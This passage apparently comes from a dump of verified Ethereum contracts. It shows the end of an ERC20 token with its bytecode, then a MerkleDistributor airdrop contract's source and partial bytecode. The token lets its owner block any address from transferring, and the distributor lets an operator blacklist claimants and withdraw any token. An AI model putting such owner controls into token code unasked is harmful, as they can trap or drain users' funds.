return super.totalSupply(); } function excludeAddress(address bot) external onlyOwner() { _isExcluded[bot] = true; } function includeAddress(address bot) external onlyOwner() { _isExcluded[bot] = false; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637d1db4a511610097578063a9059cbb11610066578063a9059cbb1461028b578063d543dbeb146102bb578063dd62ed3e146102d7578063f2fde38b1461030757610100565b80637d1db4a5146102155780638da5cb5b1461023357806393995d4b1461025157806395d89b411461026d57610100565b8063313ce567116100d3578063313ce567146101a15780633758e6ce146101bf57806370a08231146101db578063715018a61461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610323565b60405161011a919061190b565b60405180910390f35b61013d60048036038101906101389190611611565b6103b5565b60405161014a91906118f0565b60405180910390f35b61015b6103c9565b6040516101689190611aed565b60405180910390f35b61018b600480360381019061018691906115c2565b6103d8565b60405161019891906118f0565b60405180910390f35b6101a96103ee565b6040516101b69190611b08565b60405180910390f35b6101d960048036038101906101d4919061155d565b6103f7565b005b6101f560048036038101906101f0919061155d565b6104e0565b6040516102029190611aed565b60405180910390f35b6102136104f2565b005b61021d61063e565b60405161022a9190611aed565b60405180910390f35b61023b610644565b60405161024891906118d5565b60405180910390f35b61026b6004803603810190610266919061155d565b61066d565b005b610275610756565b604051610282919061190b565b60405180910390f35b6102a560048036038101906102a09190611611565b6107e8565b6040516102b291906118f0565b60405180910390f35b6102d560048036038101906102d0919061164d565b6107fc565b005b6102f160048036038101906102ec9190611586565b6108bb565b6040516102fe9190611aed565b60405180910390f35b610321600480360381019061031c919061155d565b6108cf565b005b60606001805461033290611cdc565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90611cdc565b80156103ab5780601f10610380576101008083540402835291602001916103ab565b820191906000526020600020905b81548152906001019060200180831161038e57829003601f168201915b5050505050905090565b60006103c18383610cd0565b905092915050565b60006103d3610ce7565b905090565b60006103e5848484610cf1565b90509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047c90611a4d565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006104eb82610da2565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057790611a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f290611a4d565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606002805461076590611cdc565b80601f016020809104026020016040519081016040528092919081815260200182805461079190611cdc565b80156107de5780601f106107b3576101008083540402835291602001916107de565b820191906000526020600020905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b60006107f48383610deb565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088190611a4d565b60405180910390fd5b6108b260646108a483600354610e0290919063ffffffff16565b610c1490919063ffffffff16565b60048190555050565b60006108c78383610e7d565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095490611a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c49061194d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af190611acd565b60405180910390fd5b610b0f81600354610c7290919063ffffffff16565b600381905550610b6781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c7290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c089190611aed565b60405180910390a35050565b6000808211610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f906119cd565b60405180910390fd5b60008284610c669190611b95565b90508091505092915050565b6000808284610c819190611b3f565b905083811015610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd9061198d565b60405180910390fd5b8091505092915050565b6000610cdd338484610f04565b6001905092915050565b6000600354905090565b6000610cfe8484846110cf565b610d978433610d9285600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d490919063ffffffff16565b610f04565b600190509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610df83384846110cf565b6001905092915050565b600080831415610e155760009050610e77565b60008284610e239190611bc6565b9050828482610e329190611b95565b14610e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6990611a2d565b60405180910390fd5b809150505b92915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b90611aad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdb9061196d565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110c29190611aed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561113f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113690611a8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a69061192d565b60405180910390fd5b600081116111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990611a6d565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561127f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611276906119ed565b60405180910390fd5b611287610644565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112f557506112c5610644565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113405760045481111561133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690611a0d565b60405180910390fd5b5b61139281600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d490919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c7290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114c79190611aed565b60405180910390a3505050565b600082821115611519576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611510906119ad565b60405180910390fd5b600082846115279190611c20565b90508091505092915050565b6000813590506115428161211a565b92915050565b60008135905061155781612131565b92915050565b60006020828403121561156f57600080fd5b600061157d84828501611533565b91505092915050565b6000806040838503121561159957600080fd5b60006115a785828601611533565b92505060206115b885828601611533565b9150509250929050565b6000806000606084860312156115d757600080fd5b60006115e586828701611533565b93505060206115f686828701611533565b925050604061160786828701611548565b9150509250925092565b6000806040838503121561162457600080fd5b600061163285828601611533565b925050602061164385828601611548565b9150509250929050565b60006020828403121561165f57600080fd5b600061166d84828501611548565b91505092915050565b61167f81611c54565b82525050565b61168e81611c66565b82525050565b600061169f82611b23565b6116a98185611b2e565b93506116b9818560208601611ca9565b6116c281611d9b565b840191505092915050565b60006116da602383611b2e565b91506116e582611dac565b604082019050919050565b60006116fd602683611b2e565b915061170882611dfb565b604082019050919050565b6000611720602283611b2e565b915061172b82611e4a565b604082019050919050565b6000611743601b83611b2e565b915061174e82611e99565b602082019050919050565b6000611766601e83611b2e565b915061177182611ec2565b602082019050919050565b6000611789601a83611b2e565b915061179482611eeb565b602082019050919050565b60006117ac600e83611b2e565b91506117b782611f14565b602082019050919050565b60006117cf602883611b2e565b91506117da82611f3d565b604082019050919050565b60006117f2602183611b2e565b91506117fd82611f8c565b604082019050919050565b6000611815602083611b2e565b915061182082611fdb565b602082019050919050565b6000611838602983611b2e565b915061184382612004565b604082019050919050565b600061185b602583611b2e565b915061186682612053565b604082019050919050565b600061187e602483611b2e565b9150611889826120a2565b604082019050919050565b60006118a1601f83611b2e565b91506118ac826120f1565b602082019050919050565b6118c081611c92565b82525050565b6118cf81611c9c565b82525050565b60006020820190506118ea6000830184611676565b92915050565b60006020820190506119056000830184611685565b92915050565b600060208201905081810360008301526119258184611694565b905092915050565b60006020820190508181036000830152611946816116cd565b9050919050565b60006020820190508181036000830152611966816116f0565b9050919050565b6000602082019050818103600083015261198681611713565b9050919050565b600060208201905081810360008301526119a681611736565b9050919050565b600060208201905081810360008301526119c681611759565b9050919050565b600060208201905081810360008301526119e68161177c565b9050919050565b60006020820190508181036000830152611a068161179f565b9050919050565b60006020820190508181036000830152611a26816117c2565b9050919050565b60006020820190508181036000830152611a46816117e5565b9050919050565b60006020820190508181036000830152611a6681611808565b9050919050565b60006020820190508181036000830152611a868161182b565b9050919050565b60006020820190508181036000830152611aa68161184e565b9050919050565b60006020820190508181036000830152611ac681611871565b9050919050565b60006020820190508181036000830152611ae681611894565b9050919050565b6000602082019050611b0260008301846118b7565b92915050565b6000602082019050611b1d60008301846118c6565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b4a82611c92565b9150611b5583611c92565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8a57611b89611d0e565b5b828201905092915050565b6000611ba082611c92565b9150611bab83611c92565b925082611bbb57611bba611d3d565b5b828204905092915050565b6000611bd182611c92565b9150611bdc83611c92565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c1557611c14611d0e565b5b828202905092915050565b6000611c2b82611c92565b9150611c3683611c92565b925082821015611c4957611c48611d0e565b5b828203905092915050565b6000611c5f82611c72565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611cc7578082015181840152602081019050611cac565b83811115611cd6576000848401525b50505050565b60006002820490506001821680611cf457607f821691505b60208210811415611d0857611d07611d6c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b7f426f74206172652062616e6e6564000000000000000000000000000000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61212381611c54565b811461212e57600080fd5b50565b61213a81611c92565b811461214557600080fd5b5056fea2646970667358221220fb3f3239eeeac29ca5ccd36361fee563a994ce9e8543b19da3b021b7e72f976964736f6c63430008040033
{"success": true, "error": null, "results": {}}
1,764
0x70508dd819635a58babbae1362bc83c41a569a03
/** *Submitted for verification at Etherscan.io on 2021-05-26 */ // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.11; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // Allows anyone to claim a token if they exist in a merkle root. interface IMerkleDistributor { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); } contract MerkleDistributor is IMerkleDistributor { address public operator; uint256 public startTime; address public immutable override token; bytes32 public immutable override merkleRoot; // This is a packed array of booleans. mapping(uint256 => uint256) private claimedBitMap; mapping(address => bool) public blacklisted; // if the snapshot is wrong we need to block the account to receive token bool public paused; constructor(address token_, bytes32 merkleRoot_) public { token = token_; merkleRoot = merkleRoot_; operator = msg.sender; startTime = block.timestamp; } modifier onlyOperator() { require(operator == msg.sender, "caller is not the operator"); _; } modifier notPaused() { require(!paused, "distribution is paused"); _; } function pause() external onlyOperator { paused = true; } function unpause() external onlyOperator { paused = false; } function setBlacklisted(address _account, bool _status) external onlyOperator { blacklisted[_account] = _status; } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external override notPaused { require(!isClaimed(index), "MerkleDistributor: Drop already claimed."); require(!blacklisted[account], "MerkleDistributor: Account is blocked."); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof."); // Mark it claimed and send the token. _setClaimed(index); require(IERC20(token).transfer(account, amount), "MerkleDistributor: Transfer failed."); emit Claimed(index, account, amount); } function governanceRecoverUnsupported(address _token, uint256 _amount) external onlyOperator { IERC20(_token).transfer(operator, _amount); } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c806378e9792511610081578063d01dd6d21161005b578063d01dd6d214610249578063dbac26e914610284578063fc0c546a146102b7576100d4565b806378e979251461021c5780638456cb59146102245780639e34070f1461022c576100d4565b80633f4ba83a116100b25780633f4ba83a146101c7578063570ca735146101cf5780635c975abb14610200576100d4565b806320bc4485146100d95780632e7ba6ef146101145780632eb4a7ab146101ad575b600080fd5b610112600480360360408110156100ef57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356102bf565b005b6101126004803603608081101561012a57600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff602082013516916040820135919081019060808101606082013564010000000081111561016e57600080fd5b82018360208201111561018057600080fd5b803590602001918460208302840111640100000000831117156101a257600080fd5b5090925090506103f2565b6101b56107c3565b60408051918252519081900360200190f35b6101126107e7565b6101d7610897565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6102086108b3565b604080519115158252519081900360200190f35b6101b56108bc565b6101126108c2565b6102086004803603602081101561024257600080fd5b5035610975565b6101126004803603604081101561025f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135151561099b565b6102086004803603602081101561029a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610a77565b6101d7610a8c565b60005473ffffffffffffffffffffffffffffffffffffffff16331461034557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f63616c6c6572206973206e6f7420746865206f70657261746f72000000000000604482015290519081900360640190fd5b60008054604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff92831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b1580156103c257600080fd5b505af11580156103d6573d6000803e3d6000fd5b505050506040513d60208110156103ec57600080fd5b50505050565b60045460ff161561046457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f646973747269627574696f6e2069732070617573656400000000000000000000604482015290519081900360640190fd5b61046d85610975565b156104c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180610b816028913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602052604090205460ff1615610542576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610bed6026913960400191505060405180910390fd5b6000858585604051602001808481526020018373ffffffffffffffffffffffffffffffffffffffff1660601b815260140182815260200193505050506040516020818303038152906040528051906020012090506105f68383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152507fc1b7a17ed91c8492c88461c0b939d29a43e552057306aea696ca9ba19d1e3e539250859150610ab09050565b61064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610ba96021913960400191505060405180910390fd5b61065486610b59565b7f00000000000000000000000049e833337ece7afe375e44f4e3e8481029218e5c73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106e557600080fd5b505af11580156106f9573d6000803e3d6000fd5b505050506040513d602081101561070f57600080fd5b5051610766576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610bca6023913960400191505060405180910390fd5b6040805187815273ffffffffffffffffffffffffffffffffffffffff8716602082015280820186905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a1505050505050565b7fc1b7a17ed91c8492c88461c0b939d29a43e552057306aea696ca9ba19d1e3e5381565b60005473ffffffffffffffffffffffffffffffffffffffff16331461086d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f63616c6c6572206973206e6f7420746865206f70657261746f72000000000000604482015290519081900360640190fd5b600480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60045460ff1681565b60015481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461094857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f63616c6c6572206973206e6f7420746865206f70657261746f72000000000000604482015290519081900360640190fd5b600480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b6101008104600090815260026020526040902054600160ff9092169190911b9081161490565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a2157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f63616c6c6572206973206e6f7420746865206f70657261746f72000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60036020526000908152604090205460ff1681565b7f00000000000000000000000049e833337ece7afe375e44f4e3e8481029218e5c81565b600081815b8551811015610b4e576000868281518110610acc57fe5b60200260200101519050808311610b135782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250610b45565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101